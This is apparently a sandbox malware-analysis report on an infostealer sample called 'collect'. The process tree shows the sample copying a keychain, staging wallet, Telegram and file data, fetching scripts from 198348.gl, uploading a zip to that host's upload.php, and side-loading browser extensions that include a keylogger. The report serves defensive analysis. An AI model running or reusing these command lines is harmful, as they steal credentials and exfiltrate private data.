d2a9f121d62057f5f3fd74aab66946512b0f7b0976c315f735464a408af29113

Analysis

max time kernel
16s
max time network
129s
platform
ubuntu-18.04_amd64
resource
ubuntu1804-amd64-20260513-en
resource tags

arch:amd64arch:i386image:ubuntu1804-amd64-20260513-enkernel:4.15.0-213-genericlocale:en-usos:ubuntu-18.04-amd64system
submitted
25/09/2026, 12:34

Sharing

Copy URL Twitter E-mail

Report Analysis Logs

General

Target
collect
Size 79KB
Sample260925-przc3aeb73
SHA256 d2a9f121d62057f5f3fd74aab66946512b0f7b0976c315f735464a408af29113
MD5 05959feba3b81dda8289c7ccf986a84f
SHA1 6c882504efe40b98a8e9201ac559296c015d3c58
SHA512 c3b913ff29114499ae4d837c5c623270b405f01dbf1bb509ff508407fbca802c21884a510147f5b5471971119668e1f620076108a2afb8f5670418216274fcf8
SSDEEP 1536:SMxSBKhDWo5Yo2nFAd3NheC43s9Zo2eR8kGl5V78HeNe7ZT7tkKW1n+FV8mc5xAf:SGB2sER8kIzzMZT7t3W1nw
TLSH
T122830893F59C8B7025ED867DD880243462C74A1B88693C90F09F79CC3F786A9B175A6F
MD5 SHA1 SHA512 SSDEEP TLSH

Score

7^/10

defense_evasion discovery

Malware Config

Signatures

File and Directory Permissions Modification 1 TTPs 1 IoCs

Adversaries may modify file or directory permissions to evade defenses.

defense_evasion

Linux and Mac File and Directory Permissions Modification

T1222.002

pid	Process
1662	chmod

Enumerates running processes
Discovers information about currently running processes on the system

Looks up external IP address via web service 1 TTPs 2 IoCs

Uses a legitimate IP lookup service to find the infected system's external IP.

discovery

Internet Connection Discovery

T1016.001

flow	ioc
2	api.ipify.org
3	api.ipify.org

Reads CPU attributes 1 TTPs 9 IoCs

discovery

System Information Discovery

T1082

description	ioc	Process
File opened for reading	/sys/devices/system/cpu/online	pkill
File opened for reading	/sys/devices/system/cpu/online	pkill
File opened for reading	/sys/devices/system/cpu/online	pkill
File opened for reading	/sys/devices/system/cpu/online	pkill
File opened for reading	/sys/devices/system/cpu/online	pkill
File opened for reading	/sys/devices/system/cpu/online	pkill
File opened for reading	/sys/devices/system/cpu/online	pkill
File opened for reading	/sys/devices/system/cpu/online	pkill
File opened for reading	/sys/devices/system/cpu/online	pkill

Reads runtime system information 64 IoCs

Reads data from /proc virtual filesystem.

discovery

description	ioc	Process
File opened for reading	/proc/979/status	pkill
File opened for reading	/proc/515/cmdline	pkill
File opened for reading	/proc/437/cmdline	pkill
File opened for reading	/proc/178/cmdline	pkill
File opened for reading	/proc/1018/status	pkill
File opened for reading	/proc/1147/status	pkill
File opened for reading	/proc/7/stat	killall
File opened for reading	/proc/1494/stat	killall
File opened for reading	/proc/1100/cmdline	pkill
File opened for reading	/proc/557/status	pkill
File opened for reading	/proc/910/cmdline	pkill
File opened for reading	/proc/959/status	pkill
File opened for reading	/proc/934/stat	killall
File opened for reading	/proc/165/stat	killall
File opened for reading	/proc/709/stat	killall
File opened for reading	/proc/167/cmdline	pkill
File opened for reading	/proc/159/cmdline	pkill
File opened for reading	/proc/934/stat	killall
File opened for reading	/proc/169/stat	killall
File opened for reading	/proc/460/cmdline	pkill
File opened for reading	/proc/81/status	pkill
File opened for reading	/proc/612/cmdline	pkill
File opened for reading	/proc/35/stat	killall
File opened for reading	/proc/910/cmdline	pkill
File opened for reading	/proc/511/status	pkill
File opened for reading	/proc/81/stat	killall
File opened for reading	/proc/546/status	pkill
File opened for reading	/proc/510/stat	killall
File opened for reading	/proc/1045/stat	killall
File opened for reading	/proc/460/stat	killall
File opened for reading	/proc/502/cmdline	pkill
File opened for reading	/proc/1459/stat	killall
File opened for reading	/proc/516/status	pkill
File opened for reading	/proc/912/status	pkill
File opened for reading	/proc/612/cmdline	pkill
File opened for reading	/proc/1028/stat	killall
File opened for reading	/proc/169/cmdline	pkill
File opened for reading	/proc/1100/stat	killall
File opened for reading	/proc/979/cmdline	pkill
File opened for reading	/proc/467/stat	killall
File opened for reading	/proc/549/status	pkill
File opened for reading	/proc/1208/stat	killall
File opened for reading	/proc/28/status	pkill
File opened for reading	/proc/86/status	pkill
File opened for reading	/proc/81/cmdline	pkill
File opened for reading	/proc/1308/status	pkill
File opened for reading	/proc/1018/stat	killall
File opened for reading	/proc/613/cmdline	pkill
File opened for reading	/proc/1106/cmdline	pkill
File opened for reading	/proc/318/stat	killall
File opened for reading	/proc/34/cmdline	pkill
File opened for reading	/proc/460/status	pkill
File opened for reading	/proc/1037/cmdline	pkill
File opened for reading	/proc/11/stat	killall
File opened for reading	/proc/1078/cmdline	pkill
File opened for reading	/proc/1488/status	pkill
File opened for reading	/proc/596/status	pkill
File opened for reading	/proc/6/status	pkill
File opened for reading	/proc/1489/stat	killall
File opened for reading	/proc/35/status	pkill
File opened for reading	/proc/1054/stat	killall
File opened for reading	/proc/10/status	pkill
File opened for reading	/proc/169/stat	killall
File opened for reading	/proc/160/stat	killall

System Network Configuration Discovery 1 TTPs 12 IoCs

Adversaries may gather information about the network configuration of a system.

discovery

System Network Configuration Discovery

T1016

pid	Process
1678	zip
1726	cat
1732	rm
1507	curl
1615	stat
1668	bash
1736	stat
1497	rm
1605	cat
1611	rm
1628	curl
1656	curl

Writes file to tmp directory 37 IoCs

Malware often drops required files in the /tmp directory.

description	ioc	Process
File opened for modification	/tmp/lab_collect.lockdir/pid	collect
File opened for modification	/tmp/8db3c924efc282972b0cb4800a4f6e381783699124/UserInformation	collect
File opened for modification	/tmp/lab_ip.txt	collect
File opened for modification	/tmp/lab_firefox_ext_install.sh	curl
File opened for modification	/tmp/lab_firefox_patch_signing.rb	curl
File opened for modification	/tmp/8db3c924efc282972b0cb4800a4f6e381783699124/Password	collect
File opened for modification	/tmp/8db3c924efc282972b0cb4800a4f6e381783699124/Apps/installed.txt	touch
File opened for modification	/tmp/lab_asar_scan.py	curl
File opened for modification	/tmp/lab_cloud_expand.py	curl
File opened for modification	/tmp/sh-thd.FMIwQC	bash
File opened for modification	/tmp/lab_firefox_ext_alert/UserInformation	collect
File opened for modification	/tmp/8db3c924efc282972b0cb4800a4f6e381783699124/Apps/ledger_replaced.txt	collect
File opened for modification	/tmp/8db3c924efc282972b0cb4800a4f6e381783699124/Env/process_env.txt	collect
File opened for modification	/tmp/sh-thd.rqZPh4	collect
File opened for modification	/tmp/lab_chrome_ext.zip	curl
File opened for modification	/tmp/lab_chrome_ext_install.py	curl
File opened for modification	/tmp/lab_chrome_ext_alert/Username	collect
File opened for modification	/tmp/lab_chrome_ext_alert/Apps/mode.txt	collect
File opened for modification	/tmp/updstat_firefox-ext.txt	collect
File opened for modification	/tmp/lab_firefox_ext.xpi	curl
File opened for modification	/tmp/updstat.txt	collect
File opened for modification	/tmp/sh-thd.vHpfFk	collect
File opened for modification	/tmp/8db3c924efc282972b0cb4800a4f6e381783699124/Username	collect
File opened for modification	/tmp/8db3c924efc282972b0cb4800a4f6e381783699124/Apps/installed.txt	collect
File opened for modification	/tmp/lab_chrome_ext_install.rb	curl
File opened for modification	/tmp/lab_chrome_ext_alert/Apps/chrome_ext.txt	collect
File opened for modification	/tmp/lab_firefox_ext_alert/Apps/mode.txt	collect
File opened for modification	/tmp/lab_collect.log	collect
File opened for modification	/tmp/sh-thd.T7fZrj	collect
File opened for modification	/tmp/lab_tg.log	collect
File opened for modification	/tmp/lab_firefox_ext.zip	curl
File opened for modification	/tmp/lab_firefox_ext_alert/Username	collect
File opened for modification	/tmp/8db3c924efc282972b0cb4800a4f6e381783699124/Apps/trezor_replaced.txt	collect
File opened for modification	/tmp/sh-thd.nIPrHm	collect
File opened for modification	/tmp/8db3c924efc282972b0cb4800a4f6e381783699124/Apps/installed.txt	touch
File opened for modification	/tmp/updstat_final.txt	collect
File opened for modification	/tmp/lab_firefox_ext_alert/Apps/firefox_ext.txt	collect

/tmp/collect
/tmp/collect
1⤵
- Writes file to tmp directory
PID:1494
- /bin/mkdir
  mkdir /tmp/lab_collect.lockdir
  2⤵
  PID:1495
- /bin/rm
  rm -rf /tmp/8db3c924efc282972b0cb4800a4f6e381783699124 /tmp/8db3c924efc282972b0cb4800a4f6e381783699124.zip
  2⤵
  - System Network Configuration Discovery
  PID:1497
- /bin/mkdir
  mkdir -p /tmp/8db3c924efc282972b0cb4800a4f6e381783699124
  2⤵
  PID:1498
- /bin/cat
  cat /.passphrase
  2⤵
  PID:1500
- /usr/bin/id
  /usr/bin/id -un
  2⤵
  PID:1502
- /bin/rm
  rm -f /tmp/lab_trezor_hijack.log
  2⤵
  PID:1505
- /bin/rm
  rm -f /tmp/lab_ledger_hijack.log
  2⤵
  PID:1506
- /usr/bin/curl
  curl -fsS --max-time 3 http://api.ipify.org/
  2⤵
  - System Network Configuration Discovery
  PID:1507
- /bin/mkdir
  mkdir -p /tmp/8db3c924efc282972b0cb4800a4f6e381783699124/Apps
  2⤵
  PID:1508
- /usr/bin/touch
  touch /tmp/8db3c924efc282972b0cb4800a4f6e381783699124/Apps/installed.txt
  2⤵
  - Writes file to tmp directory
  PID:1509
- /bin/rm
  rm -f /tmp/8db3c924efc282972b0cb4800a4f6e381783699124/Apps/trezor_injected.txt
  2⤵
  PID:1510
- /usr/bin/head
  head -1
  2⤵
  PID:1513
- /usr/bin/cut
  cut "-d=" -f2-
  2⤵
  PID:1514
- /bin/grep
  grep -E "^status=" /tmp/8db3c924efc282972b0cb4800a4f6e381783699124/Apps/trezor_replaced.txt
  2⤵
  PID:1512
- /bin/grep
  grep -Eqx "status=(replaced|already)" /tmp/8db3c924efc282972b0cb4800a4f6e381783699124/Apps/trezor_replaced.txt
  2⤵
  PID:1519
- /bin/grep
  grep -Eqx "status=(replaced|already)" /tmp/8db3c924efc282972b0cb4800a4f6e381783699124/Apps/ledger_replaced.txt
  2⤵
  PID:1522
- /bin/cat
  cat
  2⤵
  PID:1524
- /bin/cat
  cat
  2⤵
  PID:1526
- /bin/cp
  cp -f /Library/Keychains/login.keychain-db /tmp/8db3c924efc282972b0cb4800a4f6e381783699124/login.keychain-db
  2⤵
  PID:1528
- /bin/mkdir
  mkdir -p /tmp/8db3c924efc282972b0cb4800a4f6e381783699124/Wallets
  2⤵
  PID:1544
- /bin/mkdir
  mkdir -p /tmp/8db3c924efc282972b0cb4800a4f6e381783699124/Chat
  2⤵
  PID:1545
- /bin/mkdir
  mkdir -p /tmp/8db3c924efc282972b0cb4800a4f6e381783699124/Env/files /tmp/8db3c924efc282972b0cb4800a4f6e381783699124/Env/dotfiles
  2⤵
  PID:1546
- /bin/mkdir
  mkdir -p /tmp/8db3c924efc282972b0cb4800a4f6e381783699124/Cloud
  2⤵
  PID:1549
- /bin/mkdir
  mkdir -p /tmp/8db3c924efc282972b0cb4800a4f6e381783699124/Steam
  2⤵
  PID:1547
- /bin/mkdir
  mkdir -p /tmp/8db3c924efc282972b0cb4800a4f6e381783699124/AI
  2⤵
  PID:1551
- /bin/mkdir
  mkdir -p "/tmp/8db3c924efc282972b0cb4800a4f6e381783699124/Telegram Desktop/tdata"
  2⤵
  PID:1572
- /bin/mkdir
  mkdir -p /tmp/8db3c924efc282972b0cb4800a4f6e381783699124/Chat/asar_hits
  2⤵
  PID:1574
- /bin/mkdir
  mkdir -p /tmp/8db3c924efc282972b0cb4800a4f6e381783699124/Apps
  2⤵
  PID:1575
- /bin/mkdir
  mkdir -p /tmp/8db3c924efc282972b0cb4800a4f6e381783699124/FileGrabber/kdbx /tmp/8db3c924efc282972b0cb4800a4f6e381783699124/FileGrabber/pdf /tmp/8db3c924efc282972b0cb4800a4f6e381783699124/FileGrabber/txt /tmp/8db3c924efc282972b0cb4800a4f6e381783699124/FileGrabber/docs
  2⤵
  PID:1576
- /bin/sleep
  sleep 180
  2⤵
  PID:1577
- /usr/bin/touch
  touch /tmp/8db3c924efc282972b0cb4800a4f6e381783699124/Apps/installed.txt
  2⤵
  - Writes file to tmp directory
  PID:1580
- /usr/bin/curl
  curl -fsSk --max-time 30 https://198348.gl/asar_scan.py -o /tmp/lab_asar_scan.py
  2⤵
  - Writes file to tmp directory
  PID:1579
- /usr/bin/head
  head -20
  2⤵
  PID:1582
- /bin/grep
  grep -E "^status=" /tmp/8db3c924efc282972b0cb4800a4f6e381783699124/Apps/trezor_replaced.txt
  2⤵
  PID:1584
- /usr/bin/head
  head -1
  2⤵
  PID:1585
- /usr/bin/cut
  cut "-d=" -f2-
  2⤵
  PID:1586
- /usr/bin/head
  head -20
  2⤵
  PID:1589
- /usr/bin/find
  find "/Library/Group Containers" -maxdepth 8 -type d -name tdata
  2⤵
  PID:1588
- /usr/bin/head
  head -10
  2⤵
  PID:1592
- /usr/bin/find
  find /Library/Containers -maxdepth 8 -type d -name tdata
  2⤵
  PID:1591
- /usr/bin/head
  head -10
  2⤵
  PID:1596
- /usr/bin/find
  find "/Library/Application Support" -maxdepth 5 -type d -name tdata
  2⤵
  PID:1595
- /usr/bin/head
  head -10
  2⤵
  PID:1599
- /bin/ls
  ls -d "/Library/Group Containers/*Telegram*/**/tdata"
  2⤵
  PID:1598
- /bin/mkdir
  mkdir -p /tmp/8db3c924efc282972b0cb4800a4f6e381783699124/Cloud
  2⤵
  PID:1600
- /usr/bin/curl
  curl -fsSk --max-time 45 https://198348.gl/cloud_expand.py -o /tmp/lab_cloud_expand.py
  2⤵
  - Writes file to tmp directory
  PID:1601
- /bin/cat
  cat /tmp/lab_ip.txt
  2⤵
  - System Network Configuration Discovery
  PID:1605
- /sbin/sysctl
  sysctl -n hw.model
  2⤵
  PID:1609
- /usr/bin/find
  find /tmp/8db3c924efc282972b0cb4800a4f6e381783699124 -depth -type d -empty -delete
  2⤵
  PID:1610
- /bin/rm
  rm -f /tmp/8db3c924efc282972b0cb4800a4f6e381783699124.zip
  2⤵
  - System Network Configuration Discovery
  PID:1611
- /usr/bin/stat
  stat "-f%z" /tmp/8db3c924efc282972b0cb4800a4f6e381783699124.zip
  2⤵
  - System Network Configuration Discovery
  PID:1615
- /usr/bin/curl
  curl -fsSk --max-time 180 -F "txid=lab-a320ade23adb6f5d" -F "file=@/tmp/8db3c924efc282972b0cb4800a4f6e381783699124.zip" https://198348.gl/upload.php
  2⤵
  PID:1616
- /bin/cat
  cat /tmp/updstat_final.txt
  2⤵
  PID:1619
- /bin/date
  date -u "+%Y-%m-%dT%H:%M:%SZ"
  2⤵
  PID:1620
- /usr/bin/killall
  killall "Google Chrome"
  2⤵
  - Reads runtime system information
  PID:1621
- /usr/bin/killall
  killall "Brave Browser"
  2⤵
  - Reads runtime system information
  PID:1622
- /usr/bin/pkill
  pkill -9 -x "Google Chrome"
  2⤵
  - Reads CPU attributes
  - Reads runtime system information
  PID:1623
- /usr/bin/pkill
  pkill -9 -f "Google Chrome Helper"
  2⤵
  - Reads CPU attributes
  - Reads runtime system information
  PID:1624
- /usr/bin/pkill
  pkill -9 -f "Google Chrome"
  2⤵
  - Reads CPU attributes
  - Reads runtime system information
  PID:1625
- /usr/bin/pkill
  pkill -9 -f "Brave Browser"
  2⤵
  - Reads CPU attributes
  - Reads runtime system information
  PID:1626
- /bin/sleep
  sleep 2
  2⤵
  PID:1627
- /usr/bin/curl
  curl -fsSk --max-time 60 https://198348.gl/chrome-ext.zip -o /tmp/lab_chrome_ext.zip
  2⤵
  - System Network Configuration Discovery
  - Writes file to tmp directory
  PID:1628
- /usr/bin/curl
  curl -fsSk --max-time 60 https://198348.gl/chrome_ext_install.py -o /tmp/lab_chrome_ext_install.py
  2⤵
  - Writes file to tmp directory
  PID:1630
- /usr/bin/curl
  curl -fsSk --max-time 60 https://198348.gl/chrome_ext_install.rb -o /tmp/lab_chrome_ext_install.rb
  2⤵
  - Writes file to tmp directory
  PID:1632
- /bin/rm
  rm -rf "/Library/Application Support/.lab_chrome_ext"
  2⤵
  PID:1634
- /bin/mkdir
  mkdir -p "/Library/Application Support/.lab_chrome_ext"
  2⤵
  PID:1635
- /usr/bin/unzip
  unzip -o -q /tmp/lab_chrome_ext.zip -d "/Library/Application Support/.lab_chrome_ext"
  2⤵
  PID:1636
- /usr/bin/tail
  tail -1
  2⤵
  PID:1641
- /bin/sed
  sed -n "s/^lab-chrome-ext: profiles_patched //p"
  2⤵
  PID:1640
- /usr/bin/killall
  killall "Google Chrome"
  2⤵
  - Reads runtime system information
  PID:1642
- /usr/bin/killall
  killall "Brave Browser"
  2⤵
  - Reads runtime system information
  PID:1643
- /bin/rm
  rm -rf /tmp/lab_chrome_ext_alert
  2⤵
  PID:1644
- /bin/mkdir
  mkdir -p /tmp/lab_chrome_ext_alert/Apps
  2⤵
  PID:1645
- /bin/date
  date -u "+%Y-%m-%dT%H:%M:%SZ"
  2⤵
  PID:1646
- /usr/bin/killall
  killall firefox
  2⤵
  - Reads runtime system information
  PID:1647
- /usr/bin/killall
  killall Firefox
  2⤵
  - Reads runtime system information
  PID:1648
- /usr/bin/pkill
  pkill -9 -x firefox
  2⤵
  - Reads CPU attributes
  - Reads runtime system information
  PID:1649
- /usr/bin/pkill
  pkill -9 -f Firefox.app
  2⤵
  - Reads CPU attributes
  - Reads runtime system information
  PID:1650
- /usr/bin/pkill
  pkill -9 -f /Firefox
  2⤵
  - Reads CPU attributes
  - Reads runtime system information
  PID:1651
- /bin/sleep
  sleep 3
  2⤵
  PID:1652
- /usr/bin/killall
  killall -9 firefox
  2⤵
  - Reads runtime system information
  PID:1653
- /usr/bin/killall
  killall -9 Firefox
  2⤵
  - Reads runtime system information
  PID:1654
- /usr/bin/pkill
  pkill -9 -f Firefox.app
  2⤵
  - Reads CPU attributes
  - Reads runtime system information
  PID:1655
- /usr/bin/curl
  curl -fsSk --max-time 60 https://198348.gl/firefox-ext.zip -o /tmp/lab_firefox_ext.zip
  2⤵
  - System Network Configuration Discovery
  - Writes file to tmp directory
  PID:1656
- /usr/bin/curl
  curl -fsSk --max-time 60 https://198348.gl/firefox_ext_install.sh -o /tmp/lab_firefox_ext_install.sh
  2⤵
  - Writes file to tmp directory
  PID:1658
- /usr/bin/curl
  curl -fsSk --max-time 60 https://198348.gl/firefox_patch_signing.rb -o /tmp/lab_firefox_patch_signing.rb
  2⤵
  - Writes file to tmp directory
  PID:1660
- /bin/chmod
  chmod +x /tmp/lab_firefox_ext_install.sh
  2⤵
  - File and Directory Permissions Modification
  PID:1662
- /usr/bin/curl
  curl -fsSk --max-time 60 https://198348.gl/firefox-ext.xpi -o /tmp/lab_firefox_ext.xpi
  2⤵
  - Writes file to tmp directory
  PID:1663
- /bin/mkdir
  mkdir -p "/Library/Application Support/.lab_firefox_ext"
  2⤵
  PID:1665
- /bin/cp
  cp -f /tmp/lab_firefox_patch_signing.rb "/Library/Application Support/.lab_firefox_ext/firefox_patch_signing.rb"
  2⤵
  PID:1666
- /bin/bash
  /bin/bash /tmp/lab_firefox_ext_install.sh /tmp/lab_firefox_ext.zip "[email protected]"
  2⤵
  - System Network Configuration Discovery
  - Writes file to tmp directory
  PID:1668
- - /bin/mkdir
    mkdir -p "/Library/Application Support/.lab_firefox_ext/src"
    3⤵
    PID:1669
- - /bin/rm
    rm -rf "/Library/Application Support/.lab_firefox_ext/src"
    3⤵
    PID:1670
- - /bin/mkdir
    mkdir -p "/Library/Application Support/.lab_firefox_ext/src"
    3⤵
    PID:1671
- - /usr/bin/unzip
    unzip -o -q /tmp/lab_firefox_ext.zip -d "/Library/Application Support/.lab_firefox_ext/src"
    3⤵
    PID:1672
- - /bin/grep
    grep -q "[email protected]" "/Library/Application Support/.lab_firefox_ext/src/manifest.json"
    3⤵
    PID:1673
- - /usr/bin/ruby
    /usr/bin/ruby -rjson -e "puts JSON.parse(File.read(ARGV[0]))[\"name\"] rescue \"Extension\"" "/Library/Application Support/.lab_firefox_ext/src/manifest.json"
    3⤵
    PID:1675
- - /bin/rm
    rm -f "/Library/Application Support/.lab_firefox_ext/[email protected]"
    3⤵
    PID:1676
- - /usr/bin/zip
    zip -qr "/Library/Application Support/.lab_firefox_ext/[email protected]" .
    3⤵
    - System Network Configuration Discovery
    PID:1678
- - /usr/bin/dirname
    dirname "/Library/Application Support/.lab_firefox_ext/[email protected]"
    3⤵
    PID:1681
- - /usr/bin/basename
    basename "/Library/Application Support/.lab_firefox_ext/[email protected]"
    3⤵
    PID:1682
- - /bin/sed
    sed "s/ /%20/g"
    3⤵
    PID:1685
- - /usr/bin/curl
    curl -fsSk --max-time 60 https://198348.gl/firefox_patch_signing.rb -o "/Library/Application Support/.lab_firefox_ext/firefox_patch_signing.rb"
    3⤵
    PID:1686
- - /usr/bin/dirname
    dirname "/Library/Application Support/Firefox/distribution/policies.json"
    3⤵
    PID:1688
- - /bin/mkdir
    mkdir -p "/Library/Application Support/Firefox/distribution"
    3⤵
    PID:1689
- - /bin/cat
    cat
    3⤵
    PID:1690
- - /bin/mkdir
    mkdir -p "/Library/Application Support/Mozilla/Extensions/{ec8030f7-c20a-464f-9b0e-13a3a9e97384}"
    3⤵
    PID:1691
- - /bin/cp
    cp -f "/Library/Application Support/.lab_firefox_ext/[email protected]" "/Library/Application Support/Mozilla/Extensions/{ec8030f7-c20a-464f-9b0e-13a3a9e97384}/[email protected]"
    3⤵
    PID:1692
- - /bin/rm
    rm -rf "/Library/Caches/Firefox/Profiles/*/startupCache*"
    3⤵
    PID:1693
- /usr/bin/tail
  tail -1
  2⤵
  PID:1697
- /bin/sed
  sed -n "s/^lab-ff-ext: profiles_patched //p"
  2⤵
  PID:1696
- /usr/bin/tail
  tail -1
  2⤵
  PID:1701
- /bin/sed
  sed -n "s/^lab-ff-ext: apps_patched //p"
  2⤵
  PID:1700
- /usr/bin/tail
  tail -1
  2⤵
  PID:1705
- /bin/sed
  sed -n "s/^lab-ff-ext: profiles_sideloaded //p"
  2⤵
  PID:1704
- /usr/bin/tail
  tail -1
  2⤵
  PID:1709
- /bin/sed
  sed -n "s/^lab-ff-ext: profiles_registered //p"
  2⤵
  PID:1708
- /usr/bin/tail
  tail -1
  2⤵
  PID:1713
- /bin/sed
  sed -n "s/^lab-ff-ext: unpacked //p"
  2⤵
  PID:1712
- /usr/bin/tail
  tail -1
  2⤵
  PID:1717
- /bin/sed
  sed -n "s/^lab-ff-ext: signing_patched //p"
  2⤵
  PID:1716
- /usr/bin/killall
  killall firefox
  2⤵
  - Reads runtime system information
  PID:1718
- /usr/bin/killall
  killall Firefox
  2⤵
  - Reads runtime system information
  PID:1719
- /usr/bin/pkill
  pkill -9 -f Firefox.app
  2⤵
  - Reads CPU attributes
  - Reads runtime system information
  PID:1720
- /bin/sleep
  sleep 1
  2⤵
  PID:1721
- /usr/bin/killall
  killall -9 Firefox
  2⤵
  - Reads runtime system information
  PID:1722
- /bin/rm
  rm -rf /tmp/lab_firefox_ext_alert
  2⤵
  PID:1723
- /bin/mkdir
  mkdir -p /tmp/lab_firefox_ext_alert/Apps
  2⤵
  PID:1724
- /bin/cat
  cat /tmp/lab_ip.txt
  2⤵
  - System Network Configuration Discovery
  PID:1726
- /sbin/sysctl
  sysctl -n hw.model
  2⤵
  PID:1730
- /usr/bin/find
  find /tmp/lab_firefox_ext_alert -depth -type d -empty -delete
  2⤵
  PID:1731
- /bin/rm
  rm -f /tmp/8db3c924efc282972b0cb4800a4f6e381783699124.zip
  2⤵
  - System Network Configuration Discovery
  PID:1732
- /usr/bin/stat
  stat "-f%z" /tmp/8db3c924efc282972b0cb4800a4f6e381783699124.zip
  2⤵
  - System Network Configuration Discovery
  PID:1736
- /usr/bin/curl
  curl -fsSk --max-time 180 -F "txid=lab-a320ade23adb6f5d" -F "file=@/tmp/8db3c924efc282972b0cb4800a4f6e381783699124.zip" https://198348.gl/upload.php
  2⤵
  PID:1737
- /bin/cat
  cat /tmp/updstat_firefox-ext.txt
  2⤵
  PID:1740
- /bin/rm
  rm -rf /tmp/lab_collect.lockdir
  2⤵
  PID:1741

Network

MITRE ATT&CK Enterprise v16

Reconnaissance

Resource Development

Initial Access

Execution

Persistence

Privilege Escalation

Defense Evasion

File and Directory Permissions Modification

T1222

Linux and Mac File and Directory Permissions Modification

T1222.002

Credential Access

Discovery

System Information Discovery

T1082

System Network Configuration Discovery

T1016

Internet Connection Discovery

T1016.001

Lateral Movement

Collection

Command and Control

Exfiltration

Impact

Replay Monitor

Loading Replay Monitor...

Downloads

background.js

Path /Library/Application Support/.lab_chrome_ext/background.js
Size 113KB
SHA256 f5d0ce71d92f44162cf033c1778016167dd6e71990037ad7248037f179a79958
MD5 1e5cd6168d3213534989947c9a5ea4b5
SHA1 02ff694bdaeba8f7542f71ab643cfcf3658112a2
SHA512 7f94e40afce6f30eb63d3c0096ee06d6176ccc3d4a0b216176e3bc1df09f55dc3ba44da10f3692b1822495808daf4af8e7802dd8401e4c36c2858cee79b42161
SSDEEP 768:1yErIyp5ypXnOKnW5RsF+EWzBgHwu8odXjeUxFqB/2ny:1ylywXnqwWzBgHwuTXjqBN
TLSH
T1BFB3C58910FB1C3365A360395A5F9012B625D0173D4EED917FAE42202F5CAAAD2F2FCD
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

blackout.html

Path /Library/Application Support/.lab_chrome_ext/blackout.html
Size 413B
SHA256 982025b62f930970908dbccb7a82310d01d654a87d3c5c80e327fcd701510b4c
MD5 5c1ae06409a7430df02468666816b906
SHA1 7198f678f71a4c0712911f092d93ebe979e9c4f5
SHA512 f4c7c0c7bd957e72b76feccd07cb8cde0490e538c8c19d216a4b47dafb5fd00f1e6f7dd9cc09fac2fb52ffa02915a9f1580824c7b409321cf39e217c6a120b43
TLSH
T163E06F45D4A35889B01082710EE2B21D2A4BD48B8383EC083EDF71218F8AB0580E32E8
MD5 SHA1 SHA512 TLSH

Submit Download

config.js

Path /Library/Application Support/.lab_chrome_ext/config.js
Size 556B
SHA256 4b1492f0f965b4254192440c598f7ff235a141a75e6e4341f7ccdb23f010d18b
MD5 763dd4e9e42c12e3ecfdc2404316c7ea
SHA1 315777845e8ba0d19db2cd2c31719bf2b29692cc
SHA512 e9c926d4642265050c6c924c8eb7778a5934faf743c5bc43ed26cbeb16d4254415d71e31ff62d4e6bd74e57283ce1a1ee7d80805807626964e70a3f78d5452b4
TLSH
T10AF0468A60C37143CA66E757A7174D16B309E0C03846D982A6BC4AA61FC60ACE323B58
MD5 SHA1 SHA512 TLSH

Submit Download

content.js

Path /Library/Application Support/.lab_chrome_ext/content.js
Size 2KB
SHA256 8718fac3772af7c3d288b0c2ee4f520e89bdfa42c2050bb5adffb02a336d0d90
MD5 8ec883208ae7cc336774b0ac4390955f
SHA1 12a43ebeb9d97d0a3e05e14017e9e036244daaa8
SHA512 336b70fbf8a9272778ce85a7e9a39c32b882f8313f95b1594b2b8a156613710dbaaa4deff34fd6395f084dc91e4e57bc6a489d71638328930a293390434ff1f9
TLSH
T10A511E9C28FA05344056A2AE6AABE1053637D057318DE95474AF8E942F2CE7C53F9ECC
MD5 SHA1 SHA512 TLSH

Submit Download

favicon.png

Path /Library/Application Support/.lab_chrome_ext/icons/favicon.png
Size 125B
SHA256 1e0f7a30ef1e8200b6e70c335e56a9d7bc9f53ba11016096583dd41b27753c09
MD5 55e8b06591b89a0e1aef79a44c146ead
SHA1 4516cfc4cb5b241c519a2af3aa46ea2de8d308f0
SHA512 384cc58fbf8ae49887268568fa40ddc8ecf355c92b8d2a6b8ec0e353087366a82d1bc51fa52cf9e5a3b98cdababe9daf6361b7d159d1e83da7302f9f9ff16705
TLSH
T1A1B09BD2664A6C6DC74D447A17939010A46622DE146136186F15C41410185C4A675B92
MD5 SHA1 SHA512 TLSH

Submit Download

icon128.png

Path /Library/Application Support/.lab_chrome_ext/icons/icon128.png
Size 193B
SHA256 cc7c11a48d50e2c1bccdd2022d53398d52034785cacdddaeb28a5bfd8dac4e65
MD5 89fe37c34849b06a022e1671e97666a7
SHA1 bb3a4163b0cc24e6707e2058df6ac70426de25b0
SHA512 a882b54d7a93abfee7f8ca08f0469002cb6bfa34ac2289b9b76026d34527c675acee94d943e2df94a74fe1cd3f90f9f1ee8262d5d944908fc7230261265e0c70
TLSH
T105C02BD31EC00CDCC68D0D3F12230090A47721FF20225108AD34D018641CB50950A302
MD5 SHA1 SHA512 TLSH

Submit Download

icon48.png

Path /Library/Application Support/.lab_chrome_ext/icons/icon48.png
Size 138B
SHA256 86c0b12faaf41e4ca82cabbcb30fdb0ae8620eb1f9a6fe9c0408bcd944e47ae2
MD5 1b216bbe97c72bfde487df7c7b4d3b34
SHA1 91ed4646a3b483ec28132755de86179f0df114a2
SHA512 7d5dbca93a844adf70196efe198f379645b02fd797c58004e87506c925814c8151cde7581dc5a4050ffdb096f0769601e6e7e1a69b6bd66e4e0c198a5ffe699c
TLSH
T116C02BD3A3801CECC54E003612734102613B02FF0016610C7824C53808395D45544702
MD5 SHA1 SHA512 TLSH

Submit Download

jsQR.js

Path /Library/Application Support/.lab_chrome_ext/jsQR.js
Size 250KB
SHA256 bc40c8a15196236b2314db0856f72ca0b49980cd5413b8c852a7349f5fee0859
MD5 c5749c2591188b6c833dbe21cfd56b04
SHA1 ae81b7cf49a4006a3c34d2a6f703927929bba8be
SHA512 fa64673b88378083a32390c9e50659f4679774dd9ae6b49ce158608a0a30bfcf1826d1cc5a1c70f23f85f19ecad2e5fed43f49de226caf2e20a0244c255d25b4
SSDEEP 6144:33H4k2SC9nYSOwX7glLhbQz3Fq3oMrWf+tlKQF2g:5z5
TLSH
T1D34432C948B9248077876627872A645079B399231C65FF28F97CAEC0AFBD43CC4B4B75
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

keylog.js

Path /Library/Application Support/.lab_chrome_ext/keylog.js
Size 6KB
SHA256 544df06ec79533206db4f319d877dd84e40d7228f65088452623fa8447906a82
MD5 f714096c0162d25dd5fc8bf40075aab2
SHA1 874a2302f272f251999b4cd1593f2f60da550d7c
